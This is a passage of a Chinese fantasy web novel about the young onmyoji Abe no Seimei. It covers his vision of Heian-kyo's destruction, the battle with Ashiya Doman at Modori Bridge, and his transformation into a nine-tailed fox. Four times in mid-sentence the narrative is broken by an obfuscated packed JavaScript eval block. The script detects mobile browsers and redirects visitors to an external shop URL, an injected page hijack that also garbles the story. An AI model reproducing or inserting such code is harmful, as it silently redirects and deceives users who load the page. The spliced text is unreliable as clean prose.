卢屋道满躺在不远处,竟然和贺茂父子的尸体挨在一处,这三人似乎是为了支撑某个结界而死的,就连死后都保持着双手结印的姿势。 猫又不知所踪,可能是死了,也可能是挣脱了式神契约逃走了。 最后,晴明看到了他自己的尸体。 另一个“晴明”化作了白狐的模样,毛发纷乱,倒在地上,纯白色的皮毛都被扯开,血迹斑斑, 樱粉色的花瓣铺盖在白狐身上,像是樱在危难之时,用生命保护了他。 但是终究,两人都未能幸免于难。 这就是阴阳师了,处阴阳之间,行守护之事,职责所在,万死不辞。 晴明几乎要站不住,摇摇晃晃地退了一步。 如果这就是未来…… 如果这就是平安京的未来…… 连卢屋道满和贺茂忠行都死在了这里,这样的未来又要如何扭转? 他并不害怕死亡,他早已面临过无数次死亡的威胁,但是这种明明知道未来会发生什么,却无力改变的绝望却比死亡更难让他接受。 晴明心底涌出的恐慌感几乎要把他整个淹没,他抱住头,跪了下来。 该怎么办才好…… 这时,不知从何处传来了低沉的诵经声,一丝丝柔和的金光包裹起了晴明,温柔地抚慰着他。 晴明睁开眼睛,八百比丘尼一手搭在晴明肩上,一手抚摸着晴明的头发,隐隐是一个拥抱的姿势。 八百比丘尼低声诵念着经文,刚才就是这个声音唤回了晴明。 见他醒来,八百比丘尼也没有立刻停止诵经,而晴明也重新闭上了眼睛,感受着经文所带来的内心宁静。 八百比丘尼活了八百年,心思通透得很,她很了解晴明此刻最需要的是什么,因此也没有立即去问晴明究竟看到了什么。 直到一卷经文诵读结束,八百比丘尼才停了下来,静静地跪坐在地,等待着晴明主动开口。 半晌,晴明才说:“我都看见了,妖鬼闯进了平安京,大家都死了……” 晴明这话说得没头没尾,而八百比丘尼也没有刨根问底,手指插进晴明发间,替晴明按揉着头皮,助他放松下来。 “八百比丘尼,”晴明又躺了一会儿,低声问道:“您说,未来真的可以更改吗?” “任何事情都是一样,瞬息万变。”八百比丘尼缓缓答道:“即使是占卜,它也只是把未来最可能会发生的事呈现给你看,但那也仅仅是‘可能发生’而已。” “而真正的未来,依然掌握在我们手里。”八百比丘尼微微垂下头,注视着晴明的侧脸:“没人能左右我们的选择,而未来,就是在一次次选择中造就的。” “可是如果我的选择反倒坏了事呢?”晴明轻声问。 “这个啊……”八百比丘尼微微一笑:“这就没有办法了。不过,什么都不做的话,确实不会出错,但是这样也什么都得不到了不是吗?” “要相信你自己啊,晴明。”八百比丘尼勾着唇角:“不用想太多,做你想做的事情就可以了,你的直觉一向很准,这对任何人来说都是一种难得的品质啊。” “我知道了,多谢您,八百比丘尼。”晴明深深吸了口气,站了起来,朝八百比丘尼深鞠一躬:“妖鬼闯进平安京的时间大概是在三天之后的月尽夜,到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599312|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个时候我不敢保证会发生什么,请您尽快离开平安京,越远越好。” “我想不必了。”八百比丘尼微笑道:“如果真的有什么东西可以杀死我,我一定会很感谢它的。” “毕竟,连我自己都不知道该怎样才能结束我永恒的生命啊。”八百比丘尼端详着自己白皙如少女的手,忽然之间,她拔出身上佩带的薙刀,在自己腕上深深割了一刀。 皮肉绽开,血液涌流。 但也只不过是一瞬间的事而已,很快,伤口便重新愈合,连刚才涌出的血也回流到八百比丘尼的身体里,好像刚才什么都没有发生过一样。 从她吃下人鱼肉的那一天开始,永恒的时间便凝固在了她身上,一直凝固了八百年,她带着一副永远青春的皮囊,却怀着一颗早已苍老的心。 世人多追求长生,但是长生真的就是好事吗? 谁会愿意看着自己身边的人一个个死去,而自己却无论如何都无法去往彼世呢? 晴明也看到了八百比丘尼皮肉自动长好的一幕,他叹了口气,坦诚道:“我不明白你的想法,或许是因为我还没有经历过这样的事。” “我说过了,我们很相似,也许有一天你会明白的。”八百比丘尼一边把薙刀收起来,一边也站起了身:“但我希望你永远也不明白。” 八百比丘尼走了,她一身黑色的僧衣,永远都独来独往。 她似乎从来都不需要人陪伴,或者说,她是不敢叫人陪伴。 身边的人随时都会化作冢中枯骨,她又怎能与旁人产生交集呢? 无论是被人当作妖怪,还是目睹友人死去,这两种结局她都无法接受,于是只能一个人像个怪物一样活下去。 可她又做错了什么呢? 不过是一时好奇,尝了一块人鱼的肉而已。 晴明目送八百比丘尼离去,他还年轻,不明白八百比丘尼的痛苦。 但总有一天少年会长成青年,总有一天他会明白的。 因为他们太过相似。 一个半人半妖,一个非人非妖。 “樱!”晴明唤道。 少女的身形凭空显现出来,她总是一副冷冷的模样,却把最大的热忱全部给了晴明。 晴明永远不会忘记在八百比丘尼给他看到的未来当中,铺在白狐尸体上的那层樱粉色花瓣。 晴明定了定心神,说:“走,跟我去戾桥。” 32.第三十二章:戾桥之上 “贺茂师傅!”晴明匆匆来到戾桥,果然,贺茂忠行和贺茂保宪父子都还守在这里。 再次见到贺茂父子,晴明便不由自主地回想起了他在占卜时所看到的这两人的死状,不禁喉间一梗。 “晴明?我不是叫你不要来吗?”贺茂保宪一见到晴明便数落道。 “三天之后,月尽夜,我,我……”晴明喘着气。 晴明忽然不知道自己该说什么,难道要说他看到了贺茂父子的死? 贺茂忠行和贺茂保宪对视了一眼,贺茂忠行叹气道:“这件事我们已经知道了,月尽之夜是阴气最重的时候,卢屋道满若是想做些什么的话,他只能选择月尽夜。” “欸?您已经知道了吗?”晴明一愣,不过也是,贺茂忠行的能力强太多了,他能设法得到的信息,贺茂忠行自然没有得不到的道理。 “如果我的判断没有出错的话,卢屋道满多半是想要逆转阴阳。”贺茂忠行叹气道:“真是疯了。” “逆转……阴阳?” “没错,我在这附近找到了曾布设法阵的痕迹,都是可以让阴气增强的法阵,那些妖怪会被吸引而来也正是这个原因。”贺茂忠行解释说:“当阴气浓郁到一定程度之后再施以某种阴阳术,阴阳便会发生逆转,原本生活在阴界中的恶鬼就会一齐来到我们的阳世,到那个时候,平安京就很危险了。” “他为什么要这样做?”晴明不禁问道。 “谁知道呢。”贺茂忠行摇了摇头,说:“卢屋道满此人行事一向出人意表,连我也看不透他。” “现在要破坏法阵已经来不及了,法阵已经生效,这里的阴气已经很浓了,我们现在能做的,就只有想办法阻止卢屋道满。” “现在你来了也好,一起守住这里,无论如何,不能让任何一只恶鬼闯进平安京。”贺茂忠行又说:“这就是我们阴阳师的责任。” “我知道了。”晴明点了点头,但同时又不由得想起了他所看到的、人间地狱一般的景象。 如果最终他们失败了,那么平安京就将会面临那样的未来。 到那个时候,凉子恐怕就…… 哪怕只是为了凉子,他也必须守住这里。 至死方休。 接下来的三天风平浪静,聚集在戾桥附近的妖鬼没有表现出任何伤人的意图,倒是先前被晴明封印在戾桥之下的桥姬偶尔会现身坐到桥头,试图与晴明搭话,想问出他的真名。 桥姬如今被晴明封印,没了害人的能力,活动范围也被限制在了戾桥,不过她看起来倒是过得很逍遥,每天陪着婴灵玩,像是已经彻底放下了自己的过往。 晴明没心思理会桥姬,桥姬也不恼,依旧逗着晴明说话。 不知为何,桥姬很执着于晴明的真名,好像这对她是一件很重要的事情似的。 三天的时间转瞬而过,很快就到了月尽之夜。 贺茂父子、晴明和樱藏在戾桥附近,等待着卢屋道满。 戾桥是这一带阴气最浓郁的地方,也是最适合进行阴阳逆转的地方。 夜空无月,显得这夜里似乎又昏暗了几分。 他们没有等待多久,就见卢屋道满带着犬神,大摇大摆地走上了戾桥。 卢屋道满腰间佩着一柄修长的武士刀,不知为何,晴明在看到那把刀的时候,总会想起那段八百比丘尼给他看的未来中,犬神被利器割断喉咙的情景。 “他来了,我们走。”贺茂忠行低声吩咐道,然后率先从藏身之处走了出来。 卢屋道满看到他们,并没有感到惊讶,只是嗤笑一声,道:“就猜到你们会在,你们似乎总是想阻拦我啊。” “不过这一次,我想你们大概可以和我达成共识。”卢屋道满继续说:“你我从来都不是敌人,我们真正的敌人,应该是这些东西才对。” 卢屋道满指了指聚集在附近的妖鬼们,说:“贺茂君,你我虽然是在为不同的阵营效力,但实际上我们的目的都是一样的,那就是阻止这些非人之物伤人,没错吧?” “正是如此。”贺茂忠行冷冷地说。 “那既然这样,为什么我们不能合作呢?”卢屋道满笑了起来:“现在有个一劳永逸的方法,你要不要尝试?” “一劳永逸?”贺茂忠行冷笑:“你是说要把阴阳逆转,将阴阳两界的妖鬼全部集中在一起,然后杀尽它们吗?” “原来你猜到了。”卢屋道满稍稍有些意外,挑了挑眉毛。 “你到底知不知道这样做会带来什么样的后果?妖鬼皆生于人心,阴阳相互依存,你若是妄想消灭阴界,那么阳世很快也会荡然无存。”贺茂忠行怒道:“你根本不懂什么是阴阳道!” “阴阳道?”卢屋道满脸上的笑容消失了,他说:“对,我是不懂,我只是一介山民,从自然中悟道。我知道你们是怎样称呼我们这些人的,‘播磨流的阴阳师’对吧?” “知道我为什么讨厌你吗,贺茂忠行?”卢屋道满也沉下了脸,说:“我听说过你的家世,也算上是显赫了,你的先祖创立了阴阳道,也留下了不少典籍,可是你呢?你独占着阴阳道的秘密,外人根本无从得知。” 贺茂忠行一时语塞,倒不是因为被卢屋道满问得哑口无言,而是他不知道该怎么理解卢屋道满的话。 凭什么他要主动把自己的家学让出来教给外人? 这是什么样的强盗逻辑? 卢屋道满竟然把这种话说得堂而皇之? 难道他把自己的毕生所学全部教给晴明还不够,难道他还要把家传的典籍拿出来分给世人? 然而卢屋道满的话还没有说完,他继续说:“你现在又来指责我不懂阴阳道?我的确是不懂,也看不出如果我杀尽这世间妖鬼,究竟会对阳世造成什么不利的影响。我为这件事准备了十几年,贺茂忠行,你阻止不了我。” 贺茂忠行忽然不想同卢屋道满沟通了,对于不懂阴阳道的人来说,他无论解释什么都是徒劳。 最后,贺茂忠行只是说:“妖鬼也未必都会害人,这世上并非只有恶鬼,为何你就是看不到。” “我只知道,非我族类,其心必异!”卢屋道满又说:“你刚刚对我说,‘阴阳相互依存’?我不信我们还需要依靠那些东西才能生存,妖与鬼,都是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611413|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世上不该存在的东西,我现在要让它们从这世上消失,何错之有!” 如果真的如卢屋道满所说,那么明美的情义、樱的忠诚,甚至犬神的护主又算得上什么呢? 人类总是这样狂妄,他们总是喜欢把一切非人之物都当作是无理性的。 妖与鬼,为什么就不该存活于世呢? “既然你一意孤行,那就不要怪我了。”贺茂忠行伸手去怀里摸出了一张白纸剪成的动物,轻轻往空中一抛,白纸在半空中逐渐扩大,最后化作了式神猫又,稳稳地四肢着地,龇开了满口利齿,两条尾巴在身后高高竖起。 “我不会让你做那种事的。”贺茂忠行用折扇轻敲了敲自己的肩膀:“要想逆转阴阳,除非先杀了我。” 卢屋道满冷笑一声:“早就料到你们会来,我又怎么可能不做任何准备呢?” 说着,卢屋道满一扬手,无数巴掌大小的纸人纷纷飘落,化作狰狞的妖怪,扑向了贺茂忠行四人。 这些都是三年前卢屋道满为寻找安倍益材而四处搜罗来的式神,这下倒是派上了用场。 “糟了!”贺茂忠行他们一下子寡不敌众,虽说这些式神都不是什么强大的妖怪,但在数量上却占据了绝对的优势。 有这些式神为卢屋道满拖延时间,他就完全可以悠哉悠哉地去施展逆转阴阳的阴阳术了。 “猫又!”贺茂忠行连忙命令猫又诛杀式神,但猫又却像是被这里浓郁的阴气吸引了一般,竟然对贺茂忠行的命令置若罔闻。 晴明忽然记起了童年时曾见过的、贺茂忠行扶禊时的景象,他咬了咬牙,掣出了藏在怀里的匕首。 这个方法对现在的他来说太过于危险,不过在这种情况下,也只有冒死一搏了。 “晴明!”贺茂忠行察觉到晴明的用意,要阻止却来不及了,晴明已经割开了自己的手掌,然后还嫌不够似的,又一刀切开了自己的手臂。 “饮吾之血,听吾之令,临兵斗者——”剧痛令晴明脸色惨白,他剧烈地喘息着,把手臂高高举起,任由自己的血液涌流。 “皆阵列在前!”就在晴明高声念出咒语的一瞬间,周围的妖鬼几乎全部集聚到了晴明身边,贪婪地舔舐着晴明手臂上沾染的血,并用一种仿佛晴明是什么美味的食物似的眼神死死盯着晴明。 鬼有食人嗜血的本能,而妖喜欢依附于同类的强者,安倍晴明半人半妖,身上兼有这两种足够吸引住妖与鬼的特质,晴明唯有用自己的血肉为铒,才能确保这些妖鬼不再纠缠贺茂忠行他们。这件事,只有晴明做得到。 但是,这样一来,晴明的灵力就会被妖鬼一点点蚕食,最后的结果,就是晴明灵力耗尽,无法压制住妖鬼,这些妖鬼一拥而上,将晴明分而食之。 这或许就是八百比丘尼会找上晴明的原因,她或许早就窥透了天机,知道这场灾难只有牺牲了晴明才能化解。 不过,谁说得准呢? “晴明,你……”贺茂保宪接连丢出几张符咒,虽然成功封印了几只妖怪,但终究是杯水车薪。 “别管我!”晴明厉声喝道:“去阻止卢屋道满!” 33.第三十三章:阴阳相逆 即使晴明这样说,保宪仍然不肯丢下晴明,贺茂忠行狠下心肠,将保宪硬拽到自己身边,咬牙道:“跟我走,只有阻止了卢屋道满才能救晴明!” 这两件事其实并没有什么因果关系,这些攻击晴明的妖鬼都是卢屋道满的式神,只要卢屋道满本人不死,或是不收回命令,它们是不会停下来的,这与卢屋道满能否完成阴阳逆转的仪式无关。 但在这种时候,贺茂忠行只能这样对保宪说,这也是为了给自己一个心安,他不愿意承认自己竟然有一天需要牺牲自己徒弟的性命。 保宪此刻方寸大乱,轻而易举就被贺茂忠行说服,跟着贺茂忠行转身去找卢屋道满。 可是很快犬神就扑了上来,那只雪白色的巨犬曾吞噬过无数妖鬼,极难应付,而猫又此时又不听从命令,被逼无奈,贺茂忠行不得不动用了他与猫又的式神契约。 利用契约给式神下令,虽然可以让式神绝对服从,却很容易反过来受到式神的反噬,这也是贺茂忠行很少召唤猫又现身的原因。 式神毕竟本质上仍是妖怪,无论如何,它们都具备一定的危险性,不可尽信。 猫又原本已被这里的阴气吸引,根本不理会贺茂忠行要它诛杀妖鬼的命令,但在贺茂忠行使用契约之后,它嘴上还嚷嚷着:“无聊,居然叫我和狗打架。”,但它的身体却不受它自己控制,自动窜到了犬神面前。 犬神以力量见长,而猫又身子灵巧,因此即使猫又的能力不及犬神,一时倒也不落下风。 猫又与犬神缠斗起来,贺茂忠行和保宪趁此机会,终于闯到了卢屋道满身边。 分明只是几步路的距离,却仿佛遥远得无法触及。 卢屋道满此时仪式已经完成了一半,他无暇应付贺茂父子两人,随手布了层结界,将贺茂父子隔绝在外。 随后卢屋道满又打了个呼哨,犬神应声抛下猫又,再次扑向了贺茂忠行和保宪两人。 这结界并不难解,但无奈犬神像疯了似的攻击贺茂忠行两人,甚至对猫又的撕咬都置之不理,而贺茂忠行又不可能放心把犬神全盘交给猫又和保宪两人。 因此,贺茂忠行根本没办法集中精力去破解卢屋道满的结界,局势一时间陷入了极其尴尬的境地。 卢屋道满冷冷地一笑,没人阻止得了他。 不过,要完成阴阳的逆转,还需要一只能力相对较强一些的妖鬼来作祭品…… “不如……就是你吧。”卢屋道满慢悠悠踱步到了戾桥下,双指并在一处,口中念咒,轻轻在水面上点了一下。 水面荡起了涟漪,一圈圈扩大,而这涟漪竟没有要归于平静的趋势。 “我听说,你杀过不少人?”卢屋道满态度闲散,好像在和一个老朋友聊天似的。 “你们这些不该存在于世上的东西,也该为我们做些好事了。”卢屋道满骤然发难,手握成拳,猛地往下一砸。 这一拳激起了不小的水花,晴明先前为了封印桥姬而布设的结界应声而碎。 桥姬从水底浮了上来,她浑身湿淋淋地,披头散发,倒是很符合人们对于厉鬼的想象,桥姬扑向了卢屋道满。 她早已察觉到了卢屋道满不怀好意,她一向对人类的恶意很敏感。 不过可惜,她遇上的是卢屋道满。 卢屋道满根本没把桥姬的攻击放在眼里,随口念了句咒就把桥姬全身束缚住,动弹不得了。 “哎呀,还想着杀人呢?你们这些恶灵还真是无药可救。”卢屋道满一面说,一面念咒把桥姬放置在了仪式的法阵中心。 这样很快就能大功告成了,阴阳即将发生逆转,生活在阴界的妖鬼都会来到这里,接下来他只要杀尽它们,这世上就再也不会有害人的鬼了。 不过杀尽妖鬼可不是一件容易的事情,卢屋道满向来不是莽撞的人,如果没有万全之策,他是不会轻易行事的。 他一向是一个很执着的人,当年他整整花了十几年的时间来寻找害死他弟弟的罪人,不过这与他为“斩尽天下妖鬼”所做的准备比起来,也不算是什么了。 从他想到了这个办法的时候起,他就一直在为此做着准备,他花费了半生时间,而如今,他终于做成了。 “犬神,过来。”卢屋道满心情大好,招手唤来犬神。 犬神同贺茂忠行他们斗到半途,忽然听见主人召唤,顿时毫不犹豫地丢下贺茂忠行,飞快朝卢屋道满跑去。 犬神面部毛皮较薄的地方被猫又抓出了几道长长的口子,血从伤处滴落,染红了它雪白色的皮毛,不过它看起来似乎不是很在意,它吐着舌头,哈着气,朝卢屋道满摇尾巴。 无论外表看起来如何凶悍,它内在都还是一只忠心护主的狗。 “干得不错。”卢屋道满抬手摸了摸犬神湿润的鼻尖,另一只手则慢慢抽出了他佩在腰间的武士刀:“养军千日,如今终于到了用你的时候。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630817|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>犬神对卢屋道满毫无戒心,仰着脑袋迎合卢屋道满抚摸着它的手。 然而…… 寒光一闪,一把刀切开了犬神的喉咙,几乎砍掉了犬神的整个脑袋。 持刀的人,正是它最信任的主人,卢屋道满。 犬神发出一声长长的悲鸣,像是悲伤的狗在呜咽,鲜血从它喉间喷涌出来,溅了卢屋道满一身,它倒了下去,眼睛还死死盯着卢屋道满。 卢屋道满浑身鲜血,慢条斯理地收刀回鞘,也不知他和犬神比起来,到底是谁更像怪物。 犬神眼睛里的光芒逐渐黯淡了下去,它至死也不明白,它最信任的主人为何会忽然杀死它。 事实上,从一开始,卢屋道满养着它,就是为了今天。 他命令犬神吞噬其他妖鬼,让妖鬼临终前的怨气在犬神体内凝结,最终,它们会凝聚成一种力量极其强大的东西,这东西足以杀死任何恶鬼。 当贺茂忠行终于破开卢屋道满的结界的时候,一切已经来不及了,卢屋道满从犬神体内取出了一块拳头大小的石头。 那块“石头”通体莹白润泽,不过给人一种极度不详的感觉。 保宪初时只觉得这块石头给他的感觉很熟悉,但无论如何也想不起自己究竟是在何处见过它。 直到他听到贺茂忠行的惊呼:“是鬼骨!”,保宪这才想起来,晴明从他母亲葛叶那里带回来的勾玉也是由鬼骨制成的。 那串鬼骨勾玉被人附上了守护的咒印,因此它可以在其主人遭遇危难之时提供保护。 但如果在鬼骨上刻印毁灭的咒文,那么又会发生什么呢? 贺茂忠行紧紧抿着嘴唇,他早该想到的。 早在卢屋道满扶禊却令犬神吞食妖鬼的时候,他就该猜到卢屋道满想要鬼骨。 如果那个时候他猜到了卢屋道满的目的,或许还来得及阻止这一切发生。 但是现在…… 或许一切都晚了。 鬼骨,这东西凝聚了无数妖鬼的怨恨而生,它憎恶着令它现世的人类,是拥有极强力量的邪物,所有利用过它的人下场往往都不得好死。 也正是因此,当初晴明向他询问那串勾玉的事情的时候,他不愿对晴明多提,这种需要剥夺无数性命才能换取的东西,即使力量再强大,也不是他们应该追求的。 卢屋道满笑了起来,洋洋得意。 他说:“贺茂忠行,你拦不住我的。” 34.白狐之子 鬼骨现世,阴阳逆转的仪式已成,现在,生活在阴界之中的魑魅魍魉来到人间,只剩下时间的问题罢了。 “你真是疯了,卢屋道满。”贺茂忠行咬牙道:“你以为有了鬼骨就可以一次性封印所有妖鬼了吗?你到底知不知道你在做什么!” “这我当然知道。”卢屋道满笑了起来,道:“如果我真的料理不了那些东西的话,这里不是还有你吗?我可不相信,你会对此坐视不理,任由妖鬼闯进平安京。” “卢屋道满你!”贺茂忠行被卢屋道满的态度激怒了,但他话说到一半,倒先咳出了一口血。 这里的阴气早已经浓郁到了会对人类的身体造成伤害的程度了,不过他们之前谁都无暇去注意这一点。 “保宪!你退出阴气的范围!”贺茂忠行忙令保宪退后,这种情况根本不是保宪有能力应付的。 这个时候,贺茂忠行不是一位阴阳师,他仅仅只是一位父亲而已。 保宪没说话,他脸色惨白,身子摇摇欲坠,不过尽管如此,他也没有听从自己父亲的话。 而卢屋道满也是一样,口鼻部都流出了血,不过他仍是笑着,好像一点儿也不在乎自己是否受伤似的。 猫又蹲坐地上,慢条斯理地舔舐着爪子,嘴里嘟嘟囔囔:“今天的天气很怡人嘛。” 不仅是猫又,这附近所有的妖鬼都在欢欣鼓舞,属于它们的世界即将到来。 连聚集在晴明身边的那些式神都早已放弃了争夺晴明的血,阴气对它们的吸引力要远远大于一个阴阳师的血。 晴明这才得以喘息,他垂下了手臂,脸色苍白如纸。 他那几刀割得极深,几乎都露出了森白的骨头,血止不住地从伤处渗出来,顺着手臂流淌到指尖,再从指尖上滴落。 晴明想撕一片衣襟包裹住伤口,但手指都已经软了,他尝试了几次,都没能成功。 “樱。”晴明哑着声,胸口剧烈起伏着,好像这一个字已经用尽了他全身的气力。 樱转过身来,她双手都已经化作了刀刃,而刀刃上沾满了乌黑的、凝固的血。 刚刚她一直在替晴明斩除妖鬼,那些被晴明的血吸引而来的不只有卢屋道满的式神,更多的还是附近的妖鬼。 樱斩杀妖怪时极为干净利落,每一刀都斩得恰到好处,几乎没有任何多余的动作,完全不像是一场杀戮,倒像是精心准备的舞蹈,而花瓣纷纷飘落,仿佛也被女孩的美而倾倒。 樱与刀,这看似毫无瓜葛的二者竟结合得如此完美。 如果不是樱,或许晴明早已被妖鬼分食了。 “晴明大人。”樱朝晴明行礼,同时收起了双手的利刃,只留下指尖的一点寒芒,轻轻在晴明衣角处一抹,那片衣襟便被整整齐齐地割断了。 “我们去帮贺茂师傅。”晴明接过那片布料,草草地裹了裹伤处,举步要往贺茂忠行的方向走,他却身子一歪,栽倒在了樱怀里。 “晴明大人,请不要太勉强了。”樱在晴明面前永远都是恭谨的。 “我没事。”晴明略微闭了闭眼,深吸口气,又重新站直了。 晴明感觉自己的情况不太乐观,但不是因为失血而带来的虚弱感,而是另一种无法言喻的感觉。 他现在的确身体很虚弱,但不知为何又极度兴奋,好像有什么东西即将冲破樊篱。 或许是因为这里的阴气太过于浓重,导致晴明体内属于狐妖的那一部分逐渐苏醒了过来。 九尾狐妖安倍晴明,那是晴明所不愿面对的自己。 也许他这一次真的会堕落变成妖怪也说不定。 晴明暗自想着。 而另一边,贺茂忠行还在同卢屋道满对峙。 卢屋道满所设立的法阵中心锁着被作为祭品的桥姬,法阵不断吞噬着她的力量,她的下半身已经完全消失掉了。 但她还没有死,在法阵中痛苦地号叫着,而因为卢屋道满的封印的作用,她根本没办法逃离这个法阵。 “还没放弃阻止我吗?”卢屋道满抬手拭去口角的鲜血,笑道:“事已至此,你觉得你有能力在我眼皮子底下解除我的阵法?” “总还要试一试的。”贺茂忠行冷笑一声,忽然发难,袭向了卢屋道满。 而保宪和猫又紧随其后,前者是因为担心父亲,而后者,则完全是因为受制于式神契约,不得不帮助贺茂忠行罢了。 猫又它自己倒是很希望阴阳逆转的仪式完成。 卢屋道满独自对战三人,看似落了劣势,但他有鬼骨在手,因此反而还隐隐占了上风。 卢屋道满一点也不担心自己会输,事实上,他只需要拖延时间,等着阴界的妖鬼出现,到那个时候,贺茂忠行绝不会继续与他为敌。 他早看透了贺茂忠行。 当晴明赶到的时候,他看到的就是这一幕,三个阴阳师、一只式神,缠斗在一处,而桥姬蜷缩在法阵里,痛苦地挣扎着。 晴明正要上前帮忙,却被贺茂忠行喝住,他余光看见晴明,忙道:“别管这边!去破坏法阵!” “你休想。”卢屋道满短促地笑了一声,也启用了他与式神们的契约。 卢屋道满的式神们顿时蜂拥而来,将晴明团团围在垓心。 “糟了!”贺茂忠行一惊,他倒是忘记了还有这些式神的存在。 贺茂忠行不知道晴明现在的身体情况如何,不过可以料想得到,晴明刚刚引开妖鬼的举动,必然让他元气大伤。 这个时候再被式神攻击,恐怕就…… 但很快贺茂忠行就没有心思多想了,因为第一批阴界的恶鬼已经来到了人世。 一切都来不及了。 它们带着对人类最深重的恶意,从彼世来到了此世。 虽说当今魑魅横行,但是人世间的鬼魅都生于人心,因此它们往往都还残余着些许理智,还称不上是十分危险。 但是阴界的恶灵几乎都是些十恶不赦的灵魂,它们曾被阴阳师们联手驱逐,在不见天日的世界里厮杀争斗了无数年,它们带着对人类的憎恨,从生到死。 而如今,它们被卢屋道满带到了人世。 它们终于有了报仇雪恨的机会。 “还要与我斗吗?”卢屋道满完全没有意识到自己究竟是做了多么危险的事情,他扬扬得意地笑着,将手里的鬼骨抛起又接住。 “你这个疯子。”尽管贺茂忠行很不情愿,但他还是停止了攻势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640003|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大局面前,私人恩怨不值一提。 “这就对了。”卢屋道满笑道:“即使是有了鬼骨,我也没有十足的把握封印它们,我很需要你的力量,贺茂忠行。” “这是最后一次。”贺茂忠行冷声道:“如果下次你再胡作非为的话,我一定不会放过你的。” 卢屋道满但笑不语,他率先撑起了结界。 他们需要等,等待阴界所有恶鬼都来到阳世,到那个时候才能启用鬼骨,将它们连同阳世原本的妖鬼一起祛除。 而又不能任由那些先行来到阳世的恶鬼们横行,所以他们需要一个足够结实的、能够把恶鬼们控制住的结界。 贺茂忠行叹了口气,也走了过去,帮助卢屋道满支撑结界。 不过,他朝着晴明的方向看了一眼,说:“就别叫那孩子帮忙了,他刚刚受了伤。” “没问题。”卢屋道满没太在意贺茂忠行的话,他收回了自己的式神。 保宪随后也加入了他们。 晴明呆立一旁,眼前的场景太过于熟悉了。 目前为止,一切都如他所看到的未来一般。 犬神巨大的尸体就躺在一边,连尸体的位置都分毫不差。 而接下来…… 就该轮到贺茂父子和卢屋道满这三个人了。 晴明清晰地记得他们三人的死状,正是如现在一般,双手结印,支撑着结界。 你们撑不住的!我们都会死在这里!我亲眼所见! 晴明忽然再次感觉到了窒息一般的绝望感,难道他真的改变不了那样的未来吗? 阴气越来越浓重,结界中的三人都在不住咳血,显然都已成了强弩之末。 人类的身躯根本承受不了这样的阴气,阴阳逆转,这种事情违逆天道,就必将受到天谴。 不过,晴明的身体倒不是很排斥阴气。 “要相信你自己啊,晴明。”忽然之间,八百比丘尼的话突兀地响了起来。 晴明忽然明白了自己该做什么。 如果那是以人类的身躯做不到的事,那么,他就以妖怪的身份来做! 就算真的会堕落成为妖怪,那又有什么关系? 他不想再看着任何人死去了。 当年父亲和明美的事他无能为力,但是现在,晴明无论如何也不会放任任何一个熟识的人死去了。 卢屋道满正凝神控制着结界,耳边却忽然响起一声炸雷一般的、狐狸的嚎叫。 贺茂忠行同样听到了这声音,他紧绷着的脸却是一松。 这样的结果,是他早就设想好了的。 所以他才特意没有叫晴明参与进来。 他们在这阴气当中寸步难行,但晴明却能不受它影响,甚至还能发挥出更强大的实力。 晴明化作了一只白狐,阴气为他提供了最好的助力,他吸收了这附近的大量阴气,而且全部化作己用。 现在,晴明所化成的九尾白狐身躯甚至比犬神还要庞大几分,皮毛光洁,没有一丝杂色,九条修长的狐尾拖在身后缓缓摆动。 他身躯庞大,却并不可怖,白狐站在那儿,显得神圣凛然,只会叫人升起仰慕之感。 白狐朝法阵的方向走过去。 35.平安 白狐走向了法阵,他的脚步异常轻巧,巨大的爪子踩在地上,竟然没有发出一丝声响。 白狐之子,安倍晴明。 九尾白狐的气息压制得附近的小妖怪全部跪伏在地,其中当然也包括卢屋道满的式神们。 没有妖怪胆敢阻拦一只天生高贵的九尾狐。 “混蛋,你要做什么!”卢屋道满怒极,他几乎都忘记了自己还支撑着结界。 “给我站住。”贺茂忠行冷冷地说:“你这个时候撤除结界的话,我们都会死在这里。” 